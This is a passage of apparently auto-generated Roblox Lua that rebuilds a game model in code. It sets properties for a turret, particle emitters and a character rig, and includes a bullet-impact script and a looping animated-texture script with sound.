ParticleEmitter1105.RotSpeed = NumberRange.new(-660, 660)
ParticleEmitter1105.SpreadAngle = Vector2.new(15, 15)
ParticleEmitter1105.VelocitySpread = 15
ParticleEmitter1106.Name = "blood"
ParticleEmitter1106.Parent = Script1103
ParticleEmitter1106.Speed = NumberRange.new(0, 20)
ParticleEmitter1106.Rotation = NumberRange.new(-180, 180)
ParticleEmitter1106.Color = ColorSequence.new(Color3.new(1, 0, 0),Color3.new(1, 0, 0))
ParticleEmitter1106.Enabled = false
ParticleEmitter1106.LightInfluence = 1
ParticleEmitter1106.Texture = "rbxassetid://241685484"
ParticleEmitter1106.Transparency = NumberSequence.new(0,0,1)
ParticleEmitter1106.Size = NumberSequence.new(0.30000001192093,0.30000001192093)
ParticleEmitter1106.Acceleration = Vector3.new(0, -16, 0)
ParticleEmitter1106.Lifetime = NumberRange.new(0.20000000298023, 1)
ParticleEmitter1106.Rate = 100
ParticleEmitter1106.RotSpeed = NumberRange.new(-660, 660)
ParticleEmitter1106.SpreadAngle = Vector2.new(360, 360)
ParticleEmitter1106.VelocitySpread = 360
RemoteFunction1107.Name = "aim"
RemoteFunction1107.Parent = Script1100
RemoteFunction1108.Name = "md"
RemoteFunction1108.Parent = Script1100
ObjectValue1109.Parent = Script1100
ObjectValue1109.Value = Model1036
Script1110.Name = "bullet"
Script1110.Parent = Script1100
table.insert(cors,sandbox(Script1110,function()
touched = false
local ignore = {}
function hit(hit)
if hit.Name == "debrispart" or hit.Name == "Bullet" then return end
if touched == false then
touched = true
local ray = Ray.new(script.Value.Value.Position, (script.Parent.Position - script.Value.Value.Position).unit * 500)
local boi=game.Workspace:GetChildren()
for i = 1,#boi do
if boi[i].Name == "Bullet" then
table.insert(ignore,boi[i])
end
end
local parto, positiono = workspace:FindPartOnRayWithIgnoreList(ray,ignore, false, true)
local part = hit
if part.Anchored == false then
part:BreakJoints()
local a = part.Position
local b = script.Value.Value.Position
local dir = (a - b).unit
part.Velocity = part.Velocity + dir * math.random(20,30) + Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
------- extreme math equations
local v = 30
local c = 50
local m = part:GetMass()
if m< 20 then
m = 20
end
part.RotVelocity =Vector3.new(math.random(-v,v)/(m/c),math.random(-v,v)/(m/c),math.random(-v,v)/(m/c))
game:GetService("Debris"):AddItem(script.Parent,0.1)--penetration
end
local a = part.Parent:findFirstChild("Humanoid")
local b = part.Parent.Parent:findFirstChild("Humanoid")
local debrispart = Instance.new("Part")
debrispart.Name="debrispart"
debrispart.Size = Vector3.new(0.05,0.05,0.05)
debrispart.BrickColor = part.BrickColor
debrispart.Anchored=true
debrispart.CanCollide = false
debrispart.Transparency=1
debrispart.Position=positiono
debrispart.Parent=game.Workspace
if a == nil and b == nil then
local thingy = script.debris:Clone()
thingy.Color=ColorSequence.new(part.Color,part.Color)
thingy.Parent=debrispart
spawn(function()
thingy:Emit(10)
end)
end
if a ~= nil or b ~= nil then
local thingy = script.blood:Clone()
thingy.Parent=debrispart
spawn(function()
thingy:Emit(10)
end)
end
game:GetService("Debris"):AddItem(debrispart,1)
game:GetService("Debris"):AddItem(script.Parent,0.05)
--[[if position ~= nil then
end]]--
end
end
script.Parent.Touched:connect(hit)
end))
Script1110.Disabled = true
ObjectValue1111.Parent = Script1110
ParticleEmitter1112.Name = "debris"
ParticleEmitter1112.Parent = Script1110
ParticleEmitter1112.Speed = NumberRange.new(0, 120)
ParticleEmitter1112.Rotation = NumberRange.new(-180, 180)
ParticleEmitter1112.Enabled = false
ParticleEmitter1112.LightInfluence = 1
ParticleEmitter1112.Texture = "rbxassetid://241685484"
ParticleEmitter1112.Transparency = NumberSequence.new(0,0,1)
ParticleEmitter1112.Size = NumberSequence.new(0.34999999403954,0.34999999403954)
ParticleEmitter1112.Acceleration = Vector3.new(0, -320, 0)
ParticleEmitter1112.Lifetime = NumberRange.new(0.20000000298023, 1)
ParticleEmitter1112.Rate = 100
ParticleEmitter1112.RotSpeed = NumberRange.new(-660, 660)
ParticleEmitter1112.SpreadAngle = Vector2.new(15, 15)
ParticleEmitter1112.VelocitySpread = 15
ParticleEmitter1113.Name = "blood"
ParticleEmitter1113.Parent = Script1110
ParticleEmitter1113.Speed = NumberRange.new(0, 20)
ParticleEmitter1113.Rotation = NumberRange.new(-180, 180)
ParticleEmitter1113.Color = ColorSequence.new(Color3.new(1, 0, 0),Color3.new(1, 0, 0))
ParticleEmitter1113.Enabled = false
ParticleEmitter1113.LightInfluence = 1
ParticleEmitter1113.Texture = "rbxassetid://241685484"
ParticleEmitter1113.Transparency = NumberSequence.new(0,0,1)
ParticleEmitter1113.Size = NumberSequence.new(0.30000001192093,0.30000001192093)
ParticleEmitter1113.Acceleration = Vector3.new(0, -16, 0)
ParticleEmitter1113.Lifetime = NumberRange.new(0.20000000298023, 1)
ParticleEmitter1113.Rate = 100
ParticleEmitter1113.RotSpeed = NumberRange.new(-660, 660)
ParticleEmitter1113.SpreadAngle = Vector2.new(360, 360)
ParticleEmitter1113.VelocitySpread = 360
RemoteFunction1114.Name = "infostream"
RemoteFunction1114.Parent = Script1100
RemoteEvent1115.Name = "bulletpropaganda"
RemoteEvent1115.Parent = Script1100
RemoteFunction1116.Name = "mu"
RemoteFunction1116.Parent = Script1100
WedgePart1117.Parent = Model1037
WedgePart1117.CFrame = CFrame.new(218.999985, 5.59998322, -75.5000153, 0, 0, 1, 0, 1, -0, -1, 0, 0)
WedgePart1117.Orientation = Vector3.new(0, 90, 0)
WedgePart1117.Position = Vector3.new(218.999985, 5.59998322, -75.5000153)
WedgePart1117.Rotation = Vector3.new(0, 90, 0)
WedgePart1117.Color = Color3.new(0.580392, 0.580392, 0.580392)
WedgePart1117.Size = Vector3.new(2.5999999, 0.400000036, 1.19999981)
WedgePart1117.Anchored = true
WedgePart1117.BrickColor = BrickColor.new("Sand violet metallic")
WedgePart1117.CanCollide = false
WedgePart1117.Material = Enum.Material.Metal
WedgePart1117.brickColor = BrickColor.new("Sand violet metallic")
UnionOperation1118.Parent = Model1037
UnionOperation1118.CFrame = CFrame.new(222.300018, 6.39998388, -76.5000305, -1, 0, 0, 0, 1, 0, 0, 0, -1)
UnionOperation1118.Orientation = Vector3.new(0, 180, 0)
UnionOperation1118.Position = Vector3.new(222.300018, 6.39998388, -76.5000305)
UnionOperation1118.Rotation = Vector3.new(-180, 0, -180)
UnionOperation1118.Color = Color3.new(0.580392, 0.580392, 0.580392)
UnionOperation1118.Size = Vector3.new(1.80000186, 1.80000043, 1.80000019)
UnionOperation1118.Anchored = true
UnionOperation1118.BrickColor = BrickColor.new("Sand violet metallic")
UnionOperation1118.CanCollide = false
UnionOperation1118.Material = Enum.Material.Metal
UnionOperation1118.brickColor = BrickColor.new("Sand violet metallic")
UnionOperation1118.UsePartColor = true
WedgePart1119.Parent = Model1037
WedgePart1119.CFrame = CFrame.new(218.999985, 4.19998789, -75.5000153, 0, 0, 1, 0, -1, 0, 1, 0, -0)
WedgePart1119.Orientation = Vector3.new(0, 90, 180)
WedgePart1119.Position = Vector3.new(218.999985, 4.19998789, -75.5000153)
WedgePart1119.Rotation = Vector3.new(180, 90, 0)
WedgePart1119.Color = Color3.new(0.580392, 0.580392, 0.580392)
WedgePart1119.Size = Vector3.new(2.5999999, 0.400000036, 1.19999981)
WedgePart1119.Anchored = true
WedgePart1119.BrickColor = BrickColor.new("Sand violet metallic")
WedgePart1119.CanCollide = false
WedgePart1119.Material = Enum.Material.Metal
WedgePart1119.brickColor = BrickColor.new("Sand violet metallic")
UnionOperation1120.Name = "Barrel2"
UnionOperation1120.Parent = Model1037
UnionOperation1120.CFrame = CFrame.new(214.399918, 4.89998722, -75.5000153, 0, 1, 0, 0.342011005, 0, 0.939696014, 0.939696014, 0, -0.342011005)
UnionOperation1120.Orientation = Vector3.new(-70, 180, 90)
UnionOperation1120.Position = Vector3.new(214.399918, 4.89998722, -75.5000153)
UnionOperation1120.Rotation = Vector3.new(-110, 0, -90)
UnionOperation1120.Color = Color3.new(0.580392, 0.580392, 0.580392)
UnionOperation1120.Transparency = 1
UnionOperation1120.Size = Vector3.new(1.80000019, 7.6000061, 1.80000019)
UnionOperation1120.Anchored = true
UnionOperation1120.BrickColor = BrickColor.new("Sand violet metallic")
UnionOperation1120.CanCollide = false
UnionOperation1120.Material = Enum.Material.Metal
UnionOperation1120.brickColor = BrickColor.new("Sand violet metallic")
UnionOperation1121.Name = "Barrel3"
UnionOperation1121.Parent = Model1037
UnionOperation1121.CFrame = CFrame.new(214.399918, 4.89998722, -75.5000153, 0, 1, 0, 0.642778814, 0, 0.766051829, 0.766051829, 0, -0.642778814)
UnionOperation1121.Orientation = Vector3.new(-50, 180, 90)
UnionOperation1121.Position = Vector3.new(214.399918, 4.89998722, -75.5000153)
UnionOperation1121.Rotation = Vector3.new(-130, 0, -90)
UnionOperation1121.Color = Color3.new(0.580392, 0.580392, 0.580392)
UnionOperation1121.Transparency = 1
UnionOperation1121.Size = Vector3.new(1.80000019, 7.6000061, 1.80000019)
UnionOperation1121.Anchored = true
UnionOperation1121.BrickColor = BrickColor.new("Sand violet metallic")
UnionOperation1121.CanCollide = false
UnionOperation1121.Material = Enum.Material.Metal
UnionOperation1121.brickColor = BrickColor.new("Sand violet metallic")
Part1122.Name = "base"
Part1122.Parent = Model1036
Part1122.CFrame = CFrame.new(221.300018, 0.5, -75.5000153, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part1122.Orientation = Vector3.new(0, 90, 0)
Part1122.Position = Vector3.new(221.300018, 0.5, -75.5000153)
Part1122.Rotation = Vector3.new(0, 90, 0)
Part1122.Size = Vector3.new(9, 1, 9)
Part1122.Anchored = true
Part1122.BottomSurface = Enum.SurfaceType.Smooth
Part1122.Material = Enum.Material.DiamondPlate
Part1122.TopSurface = Enum.SurfaceType.Smooth
Weld1123.Parent = Part1122
Weld1123.C0 = CFrame.new(0, -0.5, 0, 1, 0, 0, 0, 0, -1, 0, 1, 0)
Weld1123.C1 = CFrame.new(221.300018, 10, -75.5000153, 0, 1, 0, 0, 0, -1, -1, 0, 0)
Weld1123.Part0 = Part1122
Weld1123.Part1 = Part1007
Weld1123.part1 = Part1007
Model1124.Name = "body"
Model1124.Parent = Model1036
Model1124.PrimaryPart = Part1131
Part1125.Parent = Model1124
Part1125.CFrame = CFrame.new(218.899994, 4.19998789, -77.5000458, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part1125.Orientation = Vector3.new(0, 180, 0)
Part1125.Position = Vector3.new(218.899994, 4.19998789, -77.5000458)
Part1125.Rotation = Vector3.new(-180, 0, -180)
Part1125.Size = Vector3.new(1.79999971, 0.400000006, 1)
Part1125.Anchored = true
Part1125.BottomSurface = Enum.SurfaceType.Smooth
Part1125.Material = Enum.Material.DiamondPlate
Part1125.TopSurface = Enum.SurfaceType.Smooth
Part1126.Parent = Model1124
Part1126.CFrame = CFrame.new(218.499985, 3.19999599, -73.5, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part1126.Orientation = Vector3.new(0, 180, 0)
Part1126.Position = Vector3.new(218.499985, 3.19999599, -73.5)
Part1126.Rotation = Vector3.new(-180, 0, -180)
Part1126.Size = Vector3.new(1.00000012, 1.60000002, 1)
Part1126.Anchored = true
Part1126.BottomSurface = Enum.SurfaceType.Smooth
Part1126.Material = Enum.Material.DiamondPlate
Part1126.TopSurface = Enum.SurfaceType.Smooth
Part1127.Parent = Model1124
Part1127.CFrame = CFrame.new(218.499985, 3.19999599, -77.5000458, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part1127.Orientation = Vector3.new(0, 180, 0)
Part1127.Position = Vector3.new(218.499985, 3.19999599, -77.5000458)
Part1127.Rotation = Vector3.new(-180, 0, -180)
Part1127.Size = Vector3.new(1.00000012, 1.60000002, 1)
Part1127.Anchored = true
Part1127.BottomSurface = Enum.SurfaceType.Smooth
Part1127.Material = Enum.Material.DiamondPlate
Part1127.TopSurface = Enum.SurfaceType.Smooth
Part1128.Parent = Model1124
Part1128.CFrame = CFrame.new(222.300018, 1.80000901, -75.5000153, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part1128.Orientation = Vector3.new(0, 180, 0)
Part1128.Position = Vector3.new(222.300018, 1.80000901, -75.5000153)
Part1128.Rotation = Vector3.new(-180, 0, -180)
Part1128.Size = Vector3.new(5, 0.400000006, 3)
Part1128.Anchored = true
Part1128.BottomSurface = Enum.SurfaceType.Smooth
Part1128.Material = Enum.Material.DiamondPlate
Part1128.TopSurface = Enum.SurfaceType.Smooth
Part1129.Name = "circle"
Part1129.Parent = Model1124
Part1129.CFrame = CFrame.new(221.300018, 1.29999995, -75.5000153, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part1129.Orientation = Vector3.new(0, 90, 0)
Part1129.Position = Vector3.new(221.300018, 1.29999995, -75.5000153)
Part1129.Rotation = Vector3.new(0, 90, 0)
Part1129.Size = Vector3.new(7, 0.600000024, 7)
Part1129.Anchored = true
Part1129.BottomSurface = Enum.SurfaceType.Smooth
Part1129.Material = Enum.Material.DiamondPlate
Part1129.TopSurface = Enum.SurfaceType.Smooth
CylinderMesh1130.Parent = Part1129
Part1131.Name = "base"
Part1131.Parent = Model1124
Part1131.CFrame = CFrame.new(221.300018, 4.0999918, -75.5000153, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part1131.Orientation = Vector3.new(0, 90, 0)
Part1131.Position = Vector3.new(221.300018, 4.0999918, -75.5000153)
Part1131.Rotation = Vector3.new(0, 90, 0)
Part1131.Transparency = 1
Part1131.Size = Vector3.new(1.39999998, 1.80000377, 1.39999998)
Part1131.Anchored = true
Part1131.BottomSurface = Enum.SurfaceType.Weld
Part1131.CanCollide = false
Part1131.Material = Enum.Material.Metal
Part1131.TopSurface = Enum.SurfaceType.Smooth
CylinderMesh1132.Parent = Part1131
Part1133.Parent = Model1124
Part1133.CFrame = CFrame.new(219.699997, 4.19998789, -73.5, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part1133.Orientation = Vector3.new(0, 180, 0)
Part1133.Position = Vector3.new(219.699997, 4.19998789, -73.5)
Part1133.Rotation = Vector3.new(-180, 0, -180)
Part1133.Size = Vector3.new(3.39999962, 0.400000006, 1)
Part1133.Anchored = true
Part1133.BottomSurface = Enum.SurfaceType.Smooth
Part1133.Material = Enum.Material.DiamondPlate
Part1133.TopSurface = Enum.SurfaceType.Smooth
Part1134.Parent = Model1124
Part1134.CFrame = CFrame.new(220.900024, 3.19999194, -73.5, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part1134.Orientation = Vector3.new(0, 180, 0)
Part1134.Position = Vector3.new(220.900024, 3.19999194, -73.5)
Part1134.Rotation = Vector3.new(-180, 0, -180)
Part1134.Size = Vector3.new(1, 1.60000002, 1)
Part1134.Anchored = true
Part1134.BottomSurface = Enum.SurfaceType.Smooth
Part1134.Material = Enum.Material.DiamondPlate
Part1134.TopSurface = Enum.SurfaceType.Smooth
Part1135.Parent = Model1124
Part1135.CFrame = CFrame.new(223.300049, 3.19999194, -77.5000458, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part1135.Orientation = Vector3.new(0, 180, 0)
Part1135.Position = Vector3.new(223.300049, 3.19999194, -77.5000458)
Part1135.Rotation = Vector3.new(-180, 0, -180)
Part1135.Size = Vector3.new(1.00000012, 1.60000002, 1)
Part1135.Anchored = true
Part1135.BottomSurface = Enum.SurfaceType.Smooth
Part1135.Material = Enum.Material.DiamondPlate
Part1135.TopSurface = Enum.SurfaceType.Smooth
Part1136.Parent = Model1124
Part1136.CFrame = CFrame.new(222.90004, 4.19998789, -77.5000458, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part1136.Orientation = Vector3.new(0, 180, 0)
Part1136.Position = Vector3.new(222.90004, 4.19998789, -77.5000458)
Part1136.Rotation = Vector3.new(-180, 0, -180)
Part1136.Size = Vector3.new(1.79999971, 0.400000006, 1)
Part1136.Anchored = true
Part1136.BottomSurface = Enum.SurfaceType.Smooth
Part1136.Material = Enum.Material.DiamondPlate
Part1136.TopSurface = Enum.SurfaceType.Smooth
Part1137.Parent = Model1124
Part1137.CFrame = CFrame.new(220.900009, 2.19999194, -73.5, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part1137.Orientation = Vector3.new(0, 180, 0)
Part1137.Position = Vector3.new(220.900009, 2.19999194, -73.5)
Part1137.Rotation = Vector3.new(-180, 0, -180)
Part1137.Size = Vector3.new(5.80000067, 0.400000006, 1)
Part1137.Anchored = true
Part1137.BottomSurface = Enum.SurfaceType.Smooth
Part1137.Material = Enum.Material.DiamondPlate
Part1137.TopSurface = Enum.SurfaceType.Smooth
Part1138.Parent = Model1124
Part1138.CFrame = CFrame.new(218.899979, 1.79999495, -75.5000153, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part1138.Orientation = Vector3.new(0, 180, 0)
Part1138.Position = Vector3.new(218.899979, 1.79999495, -75.5000153)
Part1138.Rotation = Vector3.new(-180, 0, -180)
Part1138.Size = Vector3.new(1.80000091, 0.400000006, 7)
Part1138.Anchored = true
Part1138.BottomSurface = Enum.SurfaceType.Smooth
Part1138.Material = Enum.Material.DiamondPlate
Part1138.TopSurface = Enum.SurfaceType.Smooth
Part1139.Parent = Model1124
Part1139.CFrame = CFrame.new(220.900009, 2.19999194, -77.5000458, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part1139.Orientation = Vector3.new(0, 180, 0)
Part1139.Position = Vector3.new(220.900009, 2.19999194, -77.5000458)
Part1139.Rotation = Vector3.new(-180, 0, -180)
Part1139.Size = Vector3.new(5.80000067, 0.400000006, 1)
Part1139.Anchored = true
Part1139.BottomSurface = Enum.SurfaceType.Smooth
Part1139.Material = Enum.Material.DiamondPlate
Part1139.TopSurface = Enum.SurfaceType.Smooth
Part1140.Parent = Model1124
Part1140.CFrame = CFrame.new(217.800003, 4.59998417, -78.2000122, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part1140.Position = Vector3.new(217.800003, 4.59998417, -78.2000122)
Part1140.Size = Vector3.new(0.399999261, 5.79999876, 2.40000081)
Part1140.Anchored = true
Part1140.BottomSurface = Enum.SurfaceType.Smooth
Part1140.Material = Enum.Material.Metal
Part1140.TopSurface = Enum.SurfaceType.Smooth
Part1141.Parent = Model1124
Part1141.CFrame = CFrame.new(217.799988, 4.59998417, -72.8000031, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part1141.Orientation = Vector3.new(0, 180, 0)
Part1141.Position = Vector3.new(217.799988, 4.59998417, -72.8000031)
Part1141.Rotation = Vector3.new(-180, 0, -180)
Part1141.Size = Vector3.new(0.399999261, 5.79999876, 2.40000081)
Part1141.Anchored = true
Part1141.BottomSurface = Enum.SurfaceType.Smooth
Part1141.Material = Enum.Material.Metal
Part1141.TopSurface = Enum.SurfaceType.Smooth
Model1142.Name = "model stealer got distracted"
Model1142.Parent = Model319
Part1143.Name = "henry"
Part1143.Parent = Model1142
Part1143.CFrame = CFrame.new(251.949997, 43, -174.042999, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part1143.Orientation = Vector3.new(0, 90, 0)
Part1143.Position = Vector3.new(251.949997, 43, -174.042999)
Part1143.Rotation = Vector3.new(0, 90, 0)
Part1143.Transparency = 0.99000000953674
Part1143.Size = Vector3.new(161.914001, 88, 0.100000001)
Part1143.Anchored = true
Part1143.CanCollide = false
Texture1144.Name = "Gif"
Texture1144.Parent = Part1143
Texture1144.Texture = "http://www.roblox.com/asset/?id=5606290866"
Texture1144.StudsPerTileU = 39.312000274658
Texture1144.StudsPerTileV = 48
Script1145.Parent = Texture1144
table.insert(cors,sandbox(Script1145,function()
coroutine.resume(coroutine.create(function()
local Frames = 44
local currentFrame= 1
local rows = 6
local columns = 8
local currentRow,CurrentColumn = 0,0
local linear = false
local fps = 30 -- Max 30
local full60fps = false
local size = script.Parent.Parent.Size
script.Parent.StudsPerTileU = columns*size.X
script.Parent.StudsPerTileV = rows*size.Y
while true do
if not full60fps then wait(1/fps) else game:GetService("RunService").Stepped:Wait() end
if linear then
script.Parent.OffsetStudsU = script.Parent.OffsetStudsU + size.X
if script.Parent.OffsetStudsU > script.Parent.StudsPerTileU then
script.Parent.OffsetStudsU = 0
end
else
CurrentColumn = CurrentColumn + 1
if CurrentColumn > columns then
CurrentColumn = 1
currentRow = currentRow + 1
end
if currentFrame > Frames then
script.Parent.Parent.Sound.TimePosition = 0
currentRow,CurrentColumn,currentFrame = 1,1,1
end
script.Parent.OffsetStudsU = size.X*(CurrentColumn-1)
script.Parent.OffsetStudsV = size.Y*(currentRow-1)
currentFrame = currentFrame+1
end
end
end))
end))
Texture1146.Name = "Gif"
Texture1146.Parent = Part1143
Texture1146.Texture = "http://www.roblox.com/asset/?id=5606290866"
Texture1146.Face = Enum.NormalId.Back
Texture1146.StudsPerTileU = 39.312000274658
Texture1146.StudsPerTileV = 48
Script1147.Parent = Texture1146
table.insert(cors,sandbox(Script1147,function()
coroutine.resume(coroutine.create(function()
local Frames = 44
local currentFrame= 1
local rows = 6
local columns = 8
local currentRow,CurrentColumn = 0,0
local linear = false
local fps = 30 -- Max 30
local full60fps = false
local size = script.Parent.Parent.Size
script.Parent.StudsPerTileU = columns*size.X
script.Parent.StudsPerTileV = rows*size.Y
while true do
if not full60fps then wait(1/fps) else game:GetService("RunService").Stepped:Wait() end
if linear then
script.Parent.OffsetStudsU = script.Parent.OffsetStudsU + size.X
if script.Parent.OffsetStudsU > script.Parent.StudsPerTileU then
script.Parent.OffsetStudsU = 0
end
else
CurrentColumn = CurrentColumn + 1
if CurrentColumn > columns then
CurrentColumn = 1
currentRow = currentRow + 1
end
if currentFrame > Frames then
script.Parent.Parent.Sound.TimePosition = 0
currentRow,CurrentColumn,currentFrame = 1,1,1
end
script.Parent.OffsetStudsU = size.X*(CurrentColumn-1)
script.Parent.OffsetStudsV = size.Y*(currentRow-1)
currentFrame = currentFrame+1
end
end
end))
end))
Sound1148.Parent = Part1143
Sound1148.Looped = true
Sound1148.EmitterSize = 1000
Sound1148.MinDistance = 1000
Sound1148.Playing = true
Sound1148.SoundId = "rbxassetid://5549004857"
Sound1148.Volume = 10
Weld1149.Parent = Part1143
Weld1149.C0 = CFrame.new(0, 0, 0.0500030518, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld1149.C1 = CFrame.new(-2, -0.5, 0.457000732, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Weld1149.Part0 = Part1143
Weld1149.Part1 = Part1027
Weld1149.part1 = Part1027
Model1150.Name = "bananabacon98"
Model1150.Parent = Model319
Model1150.PrimaryPart = Part1151
Part1151.Name = "HumanoidRootPart"
Part1151.Parent = Model1150
Part1151.CFrame = CFrame.new(225.5, 3.00000048, -110, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part1151.Orientation = Vector3.new(0, 90, 0)
Part1151.Position = Vector3.new(225.5, 3.00000048, -110)
Part1151.Rotation = Vector3.new(0, 90, 0)
Part1151.Transparency = 1
Part1151.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
Part1151.Size = Vector3.new(2, 2, 1)
Part1151.Anchored = true
Vector3Value1152.Name = "OriginalPosition"
Vector3Value1152.Parent = mas
Vector3Value1152.Value = Vector3.new(-0, -0.649999976, -0)
Vector3Value1153.Name = "OriginalSize"
Vector3Value1153.Parent = Part1151
Vector3Value1153.Value = Vector3.new(2, 2, 1)
MeshPart1154.Name = "LeftHand"
MeshPart1154.Parent = Model1150
MeshPart1154.CFrame = CFrame.new(227.804855, 2.1499989, -109.119537, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart1154.Orientation = Vector3.new(0, 90, 0)
MeshPart1154.Position = Vector3.new(227.804855, 2.1499989, -109.119537)
MeshPart1154.Rotation = Vector3.new(0, 90, 0)
MeshPart1154.Color = Color3.new(0.992157, 0.917647, 0.552941)
MeshPart1154.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart1154.Size = Vector3.new(0.999999762, 0.299999982, 0.999999881)
MeshPart1154.Anchored = true
MeshPart1154.BrickColor = BrickColor.new("Cool yellow")
MeshPart1154.CanCollide = false
MeshPart1154.brickColor = BrickColor.new("Cool yellow")
Motor6D1155.Name = "LeftWrist"
Motor6D1155.Parent = MeshPart1154
Motor6D1155.C0 = CFrame.new(0.000478506088, -0.549999952, 7.64462551e-20, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1155.C1 = CFrame.new(0.000478863716, 0.149999991, 5.96046448e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1155.Part0 = MeshPart1156
Motor6D1155.Part1 = MeshPart1154
Motor6D1155.part1 = MeshPart1154
MeshPart1156.Name = "LeftLowerArm"
MeshPart1156.Parent = Model1150
MeshPart1156.CFrame = CFrame.new(227.804855, 2.8499999, -109.119537, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart1156.Orientation = Vector3.new(0, 90, 0)
MeshPart1156.Position = Vector3.new(227.804855, 2.8499999, -109.119537)
MeshPart1156.Rotation = Vector3.new(0, 90, 0)
MeshPart1156.Color = Color3.new(0.992157, 0.917647, 0.552941)
MeshPart1156.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart1156.Size = Vector3.new(0.999999762, 1.20000029, 1)
MeshPart1156.Anchored = true
MeshPart1156.BrickColor = BrickColor.new("Cool yellow")
MeshPart1156.CanCollide = false
MeshPart1156.brickColor = BrickColor.new("Cool yellow")
Motor6D1157.Name = "LeftElbow"
Motor6D1157.Parent = MeshPart1156
Motor6D1157.C0 = CFrame.new(0.000479102135, -0.200000167, 8.94069672e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1157.C1 = CFrame.new(0.000478506088, 0.25000003, 7.64462551e-20, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1157.Part0 = MeshPart1158
Motor6D1157.Part1 = MeshPart1156
Motor6D1157.part1 = MeshPart1156
MeshPart1158.Name = "LeftUpperArm"
MeshPart1158.Parent = Model1150
MeshPart1158.CFrame = CFrame.new(227.804855, 3.29999995, -109.119537, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart1158.Orientation = Vector3.new(0, 90, 0)
MeshPart1158.Position = Vector3.new(227.804855, 3.29999995, -109.119537)
MeshPart1158.Rotation = Vector3.new(0, 90, 0)
MeshPart1158.Color = Color3.new(0.992157, 0.917647, 0.552941)
MeshPart1158.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart1158.Size = Vector3.new(0.999999762, 1.40000033, 0.99999994)
MeshPart1158.Anchored = true
MeshPart1158.BrickColor = BrickColor.new("Cool yellow")
MeshPart1158.CanCollide = false
MeshPart1158.brickColor = BrickColor.new("Cool yellow")
Motor6D1159.Name = "LeftShoulder"
Motor6D1159.Parent = MeshPart1158
Motor6D1159.C0 = CFrame.new(-1.24989128, 0.549999952, 1.1920929e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1159.C1 = CFrame.new(0.250109196, 0.449999809, 8.94069672e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1159.Part0 = MeshPart1166
Motor6D1159.Part1 = MeshPart1158
Motor6D1159.part1 = MeshPart1158
MeshPart1160.Name = "RightHand"
MeshPart1160.Parent = Model1150
MeshPart1160.CFrame = CFrame.new(227.804855, 2.1499989, -112.119537, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart1160.Orientation = Vector3.new(0, 90, 0)
MeshPart1160.Position = Vector3.new(227.804855, 2.1499989, -112.119537)
MeshPart1160.Rotation = Vector3.new(0, 90, 0)
MeshPart1160.Color = Color3.new(0.992157, 0.917647, 0.552941)
MeshPart1160.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart1160.Size = Vector3.new(0.999999881, 0.299999982, 0.999999881)
MeshPart1160.Anchored = true
MeshPart1160.BrickColor = BrickColor.new("Cool yellow")
MeshPart1160.CanCollide = false
MeshPart1160.brickColor = BrickColor.new("Cool yellow")
Motor6D1161.Name = "RightWrist"
Motor6D1161.Parent = MeshPart1160
Motor6D1161.C0 = CFrame.new(1.1920929e-07, -0.549999952, -6.86244753e-18, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1161.C1 = CFrame.new(3.57627869e-07, 0.149999991, 5.96046448e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1161.Part0 = MeshPart1162
Motor6D1161.Part1 = MeshPart1160
Motor6D1161.part1 = MeshPart1160
MeshPart1162.Name = "RightLowerArm"
MeshPart1162.Parent = Model1150
MeshPart1162.CFrame = CFrame.new(227.804855, 2.8499999, -112.119537, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart1162.Orientation = Vector3.new(0, 90, 0)
MeshPart1162.Position = Vector3.new(227.804855, 2.8499999, -112.119537)
MeshPart1162.Rotation = Vector3.new(0, 90, 0)
MeshPart1162.Color = Color3.new(0.992157, 0.917647, 0.552941)
MeshPart1162.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart1162.Size = Vector3.new(0.999999762, 1.20000029, 1)
MeshPart1162.Anchored = true
MeshPart1162.BrickColor = BrickColor.new("Cool yellow")
MeshPart1162.CanCollide = false
MeshPart1162.brickColor = BrickColor.new("Cool yellow")
Motor6D1163.Name = "RightElbow"
Motor6D1163.Parent = MeshPart1162
Motor6D1163.C0 = CFrame.new(-5.96046448e-07, -0.200000167, 8.94069672e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
